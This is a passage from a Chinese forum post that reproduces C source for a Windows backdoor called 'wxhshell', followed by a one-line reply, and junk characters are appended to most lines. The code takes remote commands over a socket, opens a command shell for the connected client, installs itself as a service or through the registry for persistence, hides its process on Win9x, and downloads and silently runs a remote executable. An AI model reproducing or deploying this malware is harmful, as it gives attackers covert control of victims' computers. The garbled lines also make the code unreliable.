  P,xI3U< q  
  // 帮助 A%H"a+  
  case '?': { ICSi<V[y1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  $$E!u}  
    break; 2{!o"6t  
  } [t^Z2a{  
  // 安装 7CfHL;+m<4  
  case 'i': { wLeP;u1  
    if(Install()) N(<4nAE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ElNKCj<M  
    else Xo[={2_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^l\U6$3  
    break; &WW|! 6  
    } I;dc[m  
  // 卸载 )bc0 t]Fs  
  case 'r': { H]@M00C  
    if(Uninstall()) [}snKogp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kh3PEq   
    else ;m/%g{oV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V+7x_>!&)  
    break; C(i1Vx<-  
    } O][R "5d  
  // 显示 wxhshell 所在路径 =]r<xON%S  
  case 'p': { STMc@MeZU_  
    char svExeFile[MAX_PATH]; yLfb'Ba  
    strcpy(svExeFile,"\n\r"); P]*,955*)  
      strcat(svExeFile,ExeFile); %{$iN|%J%$  
        send(wsh,svExeFile,strlen(svExeFile),0); P$E#C:=  
    break; `Q d_Gu,M  
    } a4gJ-FE  
  // 重启 %%["&  
  case 'b': { KCR6@{@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Obd@#uab  
    if(Boot(REBOOT)) s{v!jZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AH$D./a  
    else { [d="94Ab  
    closesocket(wsh); FX QUj&9  
    ExitThread(0); _~f&wkc  
    } BLzl XhHn  
    break; Bob K>db  
    } U8_<?Hd  
  // 关机 mfHZGk[[  
  case 'd': { 3DH} YAUU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q[t|+RNKv2  
    if(Boot(SHUTDOWN)) Bny3j~*U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sqkk 4w1#C  
    else { uveby:dh  
    closesocket(wsh); U_ j\UQC  
    ExitThread(0); Hk'D@(h S  
    } p<#WueR[  
    break; 5 rpX"(  
    } feOX]g#  
  // 获取shell qx3@]9  
  case 's': { $[5S M>e]  
    CmdShell(wsh); &)?ECj0`  
    closesocket(wsh); -ea":}/  
    ExitThread(0); EHByo[  
    break; <-xI!o"}  
  } \{W}  
  // 退出 \A@Mlpe&t  
  case 'x': { ,Y|WSKY*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d{?X:*F  
    CloseIt(wsh); L F\4>(C2g  
    break; ,tt]C~\u  
    } tOx)t$ix  
  // 离开 tz #Fy?pe  
  case 'q': { 6?an._ C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .(T*mk*>  
    closesocket(wsh); #l kv&.)x  
    WSACleanup(); IbFS8 *a\  
    exit(1); JQCQpn/  
    break; H+UA  
        } CAX)AN  
  } 6CoDn(+z  
  } _]~`t+W'DJ  
@VlDi1  
  // 提示信息 (~ 6oA f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !g=2U`j^  
} I<p- o/TP  
  } Z(F`M;1>xI  
JHN{vB  
  return; XcfvmlBoD-  
} 8G&'ED_&  
nksx|i l  
// shell模块句柄 < {1'cx  
int CmdShell(SOCKET sock) 9F[k;Uw  
{ ^Ec);Z  
STARTUPINFO si; bb@@QzR  
ZeroMemory(&si,sizeof(si)); [I*zZ`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ifyWhS++  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HE>6A|rgDr  
PROCESS_INFORMATION ProcessInfo; ~4e4G yx c  
char cmdline[]="cmd"; {G _ :#cep  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m0*bz5  
  return 0; wjLtLtK?  
} >)E{Hs  
(^x ,  
// 自身启动模式 /l o;:)AiP  
int StartFromService(void) ?)x"+[2  
{ )YSS>V  
typedef struct ;[pY>VJ(  
{ b#XY.+ *0  
  DWORD ExitStatus; ;- ~}g7$  
  DWORD PebBaseAddress; Fp3NWvu  
  DWORD AffinityMask; (-'Jf#&X^  
  DWORD BasePriority; <kJ,E[4`  
  ULONG UniqueProcessId; PNNY_t +I  
  ULONG InheritedFromUniqueProcessId; :xd)]Ns  
}   PROCESS_BASIC_INFORMATION; 6|h~pH  
46 p%y  
PROCNTQSIP NtQueryInformationProcess; &-l(nr]h]  
A.`) 0dV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -u!{8S~wA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x6-bAf  
?]1_ 2\M  
  HANDLE             hProcess; )zU bMzF  
  PROCESS_BASIC_INFORMATION pbi; IEbk_-h[  
B !>hHQ2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /*v} .fH%  
  if(NULL == hInst ) return 0; ",9QqgY+  
Sz z:$!t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gK8E|f-z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HN7C+e4U~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X:3W9`s )*  
iLd_{  
  if (!NtQueryInformationProcess) return 0; 2<"kfa n  
J0%e6{C1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6 07"Z\  
  if(!hProcess) return 0; 0+H4sz%.  
1?!z<<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gHL v zm  
o \r6 iO  
  CloseHandle(hProcess); ^)\z  
S.i CkX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TOH!vQP  
if(hProcess==NULL) return 0; h3.6<vM  
PG@Uygahu  
HMODULE hMod; \xtY\q,[  
char procName[255]; ;ty08D/  
unsigned long cbNeeded; BRSOE U\=  
M.*3qWM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5!tiu4LU  
2.6F5&:($  
  CloseHandle(hProcess); "$@Wy,yp  
5(+9( \x  
if(strstr(procName,"services")) return 1; // 以服务启动 @d/Wa=K  
gk-g!v&  
  return 0; // 注册表启动 e<.O'!=7Y  
} reO^_q'  
cV|u]ce%1  
// 主模块 CVk.Ez6  
int StartWxhshell(LPSTR lpCmdLine) q!r4"#Y"@Z  
{ L("zS%qr  
  SOCKET wsl; 8Qwn  
BOOL val=TRUE; #YEOY#  
  int port=0; uaiCyh1:  
  struct sockaddr_in door; x JXPtm  
.66_g@1  
  if(wscfg.ws_autoins) Install(); dc]D 8KX  
b@p3iq:  
port=atoi(lpCmdLine); e7# B?  
[H-r0Ah  
if(port<=0) port=wscfg.ws_port; G/y@`A)  
Y\Grf$e  
  WSADATA data; -n>JlfCd2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B'@a36  
{Xj2c]A1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iUH{rh!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &I=27!S  
  door.sin_family = AF_INET; v&#=1Zb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1G6 %?Iph  
  door.sin_port = htons(port); Ok/U"N-  
CcDi65s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { . #7B10  
closesocket(wsl); Y<h [5  
return 1; [UW%(N  
} AJ%x"  
E <O:  
  if(listen(wsl,2) == INVALID_SOCKET) { S|_}0  
closesocket(wsl);  ,xhB  
return 1; AhNy+p{  
} C=y[WsT  
  Wxhshell(wsl); X~#jx(0_  
  WSACleanup(); $h)VKW^\  
I7Uj<a=(q  
return 0; K]bw1K K  
S2!$  
} L)mb.U$`c|  
r6u ) 6J=  
// 以NT服务方式启动 c^%vyBMY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q r n^T  
{ hU]Gv)B  
DWORD   status = 0; v[}g+3a  
  DWORD   specificError = 0xfffffff; \/ 9s<  
HHZGu8tzt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $%%K9Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h^`!kp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R, J(]ew  
  serviceStatus.dwWin32ExitCode     = 0; doj$chy  
  serviceStatus.dwServiceSpecificExitCode = 0; >axf_k  
  serviceStatus.dwCheckPoint       = 0; Qgel^"t]i  
  serviceStatus.dwWaitHint       = 0; X-mhz3Q&a  
3WTNWz#h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {,Py%.vvR  
  if (hServiceStatusHandle==0) return; kv)IG$S 0  
<z2*T \B!8  
status = GetLastError(); # $dk  
  if (status!=NO_ERROR) ivi,/~L  
{ X / {;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LYV\|a{Y  
    serviceStatus.dwCheckPoint       = 0; A=+ |&+? t  
    serviceStatus.dwWaitHint       = 0; ry Kc7<  
    serviceStatus.dwWin32ExitCode     = status; kz UP   
    serviceStatus.dwServiceSpecificExitCode = specificError; Zd Li<1P*d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1638U 1  
    return; HpQuro'Qh  
  } tsqkV7?  
XXe?@w2{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2y"|l  
  serviceStatus.dwCheckPoint       = 0; BPH-g\q  
  serviceStatus.dwWaitHint       = 0; r^2>60q'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qa!3lb_'M  
} cc %m0p  
u ]!ZW&  
// 处理NT服务事件,比如:启动、停止 F^xhhz&e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;<?mMi@<E  
{ )j^~=Sio.  
switch(fdwControl) ~$@~X*K~  
{ <)J83D0$E  
case SERVICE_CONTROL_STOP: iFi6,V*PRt  
  serviceStatus.dwWin32ExitCode = 0; 2X@| H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q^_*&},V  
  serviceStatus.dwCheckPoint   = 0; QUSyVp{$  
  serviceStatus.dwWaitHint     = 0; lCznH?[  
  { ujt0?DM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }CoR$K   
  } .dM|J'`g  
  return; ._$tNGI4  
case SERVICE_CONTROL_PAUSE: W ^MF3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ='p&T|&  
  break; UmC_C[/n?  
case SERVICE_CONTROL_CONTINUE: ,{tK{XpS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `RriVYc<  
  break; |hlc#t ?  
case SERVICE_CONTROL_INTERROGATE: ];n3H~2  
  break; 7[)IP:I>  
}; wE4:$+R};  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I<["ko,t@?  
} "B^c  
SBNeN]  
// 标准应用程序主函数 4J"S?HsW|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Km=dId7]  
{ .Zzx W  
K:osfd  
// 获取操作系统版本 ;]/emw=a  
OsIsNt=GetOsVer(); GW[g!6 6^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2y t)"DnFk  
7v8V0Gp  
  // 从命令行安装 ?df*Y5I2  
  if(strpbrk(lpCmdLine,"iI")) Install(); @'Y^A  
s_j ?L  
  // 下载执行文件 m,TN%*U!  
if(wscfg.ws_downexe) { Kpx(x0^2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) , Ac gsC  
  WinExec(wscfg.ws_filenam,SW_HIDE); )nI}KQJ<  
} W>*9T?  
YH 5jvvOI  
if(!OsIsNt) { cKbjW  
// 如果时win9x,隐藏进程并且设置为注册表启动 X/8CvY#n  
HideProc(); Bj-80d,  
StartWxhshell(lpCmdLine); lO=Nw+'$S  
} `ecIy_O3P&  
else 2D"n#O`y  
  if(StartFromService()) )e1&[0  
  // 以服务方式启动 bJ$6[H-:  
  StartServiceCtrlDispatcher(DispatchTable); oXQzCjX_   
else R'#1|eWCa  
  // 普通方式启动 cU+% zk  
  StartWxhshell(lpCmdLine); iFypKpHg~  
\bc ob8u  
return 0; ks}J ke>  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八